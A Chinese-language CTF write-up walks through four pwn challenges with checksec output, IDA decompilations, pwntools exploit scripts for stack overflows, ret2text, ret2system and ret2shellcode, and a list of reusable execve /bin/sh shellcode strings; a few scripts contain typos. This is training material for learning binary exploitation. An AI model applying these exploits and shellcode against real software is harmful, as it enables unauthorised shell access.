依旧是熟悉的nc签到,不再赘述
checksec分析
1 2 3 4 5 6 [*] '/mnt/hgfs/windowshare/pwn (1)' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护只有一个NX
不太严密
ida静态分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); if ( (int)nbytes > 10 ) { puts("Oops,u name is too long!"); exit(-1); } puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0; }
观察到size_t,这是一种无符号整数类型,通常用于表示对象的大小或数组的索引,size_t的大小(即占用多少字节)是平台相关的,它可以根据编译器和操作系统的不同而变化。通常情况下,size_t被设计成足够大,可以容纳你的系统上最大可能的对象大小
言归正传
观察到read函数,查看代码逻辑,read接受的数值长度是由nbytes决定的,但是如果nbytes太大会使得程序结束,难题来了,我们该如何解决?
思考到nbytes是无符号整数(unsigned int),但是在if语句中又强制将nbytes转换成 int(整数类型),因此我们可以输入-1,来绕过第一个if,-1的无符号数为 65535(FFFF) 足够大,可以支撑我们构造payload
exp如下
1 2 3 4 5 6 7 8 9 10 python>> from pwn import *p=process('./pwn1' ) context.log_level = 'debug' p.recvuntil('[+]Please input the length of your name:' ) p.sendline('-1' ) p.recvuntil('[+]What' s u name?') payload = b' a'*0x18+p64(0x400726) p.sendlint(payload) p.interactive()
cat flag
checksec查看保护
1 2 3 4 5 6 [*] '/mnt/hgfs/windowshare/ret2text' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
还是只有一个NX保护
ida分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0; }
和上一题同源
exp
1 2 3 4 5 6 7 python>> from pwn import *p = process(./pwn) p.sendline(100 ) payload = b'a' 0x18 +p64(0x4006e6 ) p.sendline(payload) p.interactive()
没什么好说的,上一题懂了这题自然会
nc打过去慢慢找,我还分析了半天,无语ing
1 2 3 4 5 6 7 [*] '/mnt/hgfs/windowshare/pwn (1)' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
检查后发现是32位文件,注意一点,文件开启了NX保护
ida分析
1 2 3 4 5 6 7 int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); shell(); return 0; }
观察到shell函数
跟进
1 2 3 4 5 6 7 ssize_t shell() { char buf[72]; // [esp+0h] [ebp-48h] BYREF system("echo Welcome to NISACTF"); return read(0, buf, 0x60u);
这道题有点特殊,由于没有后门函数,我们需要自己构造system(/bin/sh)
不过好在system已经给我们了,只需要找到/bin/sh就好,shift+F12,发现/bin/sh
exp
1 2 3 4 5 6 7 8 python>> from pwn import *p = process(./pwn) system_addr = 0x08048512 bin_sh_addr =0x0804A024 payload = b'a' *(0x48 +4 )+p32(system_addr)+p32(bin_sh_addr) p.sendline(payload) p.interactive()
最后一道题依然是shellcode
check一下把~
1 2 3 4 5 6 [*] '/mnt/hgfs/windowshare/pwn(2)' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
只有NX保护
ida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[10]; // [rsp+6h] [rbp-Ah] BYREF setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7); puts("Please."); read(0, &name, 0x25uLL); puts("Nice to meet you."); puts("Let's start!"); read(0, buf, 0x40uLL); return 0; }
熟悉的没有后门
但是NX保护开启了,bss段不可执行,怎么办呢?
还记得我们的老朋友mprotect()吗,相信搜素后的你肯定知道这个函数的作用
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。 函数原型如下:
1 2 3 #include <unistd.h> #include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode!
观察到name写入了bss段,熟悉的感觉,准备构造shellcode
本题考查一个点,正常的sh.asm(shellcraft.sh())生成的字节数是44字节的,而本题要求0x25字节的shellcode
下面给出一些好用的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 32位 短字节shellcode --> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80 ------------------------------------------------------------------------------------ # 32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA -------------------------------------------------------------------------------------------------------- # 32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh ---------------------------------------------------------------------------------------------------------# 64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05 ----------------------------------------------------------------------------------------------------- # 64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 ----------------------------------------------------------------------------------------------------- # 64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 python>> from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn1' ) bss_addr = 0x6010A0 shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" p.sendline(shellcode) payload = b'a' * (0xA +8 ) + p64(bss_addr) p.sendline(payload) p.interactive()